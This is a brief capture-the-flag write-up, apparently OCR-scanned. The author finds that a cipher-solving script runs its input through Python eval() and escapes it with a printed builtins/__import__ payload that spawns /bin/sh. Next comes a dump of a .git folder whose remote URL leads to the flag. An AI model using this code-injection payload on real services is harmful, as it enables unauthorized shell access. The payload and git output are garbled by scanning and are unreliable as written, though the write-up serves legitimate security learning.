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I found a script that solves ciphers, they say it's pretty secure!
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We try out a few commands and we find out that whatever we give as input is getting evaluated in python

using the eval() command. This quite easy to exploit and we try spawning a shell with
1 builtins . dict [' import ']J('os'). dict ['system']('/bin/sh')

We get a shell without root privileges, this is quite handy but when we try to read the contents of .git folder, it asks us for root privleges.
So I tried some common privilege escalation techngiues but nothing worked. So randomly I tried to print everything in the . git folder.

1 cat *

2 fix: message

3 ref: refs/heads/master

4 [core]

5 repositoryformatversion = 0

6 filemode = true

7 bare = false

8 logallrefupdates = true

9 [remote "origin"]

10 url = https://github.com/alias-rahil/crypto-cli
11 fetch = +refs/heads/*:refs/remotes/origin/*

12 [branch "master'"]

13 remote = origin

14 merge = refs/heads/master

15 Unnamed repository,; edit this file 'description' to name the repository.
16 cat: hooks: Is a directory

17 DIRC d15MH| d15MATTTTTTT]

18 "~iv+@J0A+I[7

19 s4 crypto.py 4TI/ ITTIXEZ
20 00X 1) gstart. shTREE2 0
21y d]:

22 &1:01-d b9 =] 11'0J1+8 T d]cat: info: Is a directory

23 cat: logs: Is a directory

24 cat: objects: Is a directory

25 # pack-refs with: peeled fully-peeled sorted

26 2bd46f 9367 9f5rd9deaf06bf1b8c4fea8c9686e refs/remotes/origin/master
27 cat: refs: Is a directory

We get a github url: https./github.com/alias-rahil/crypto-cli, visiting the url and viewing the commit history gives us the flag.

Flag
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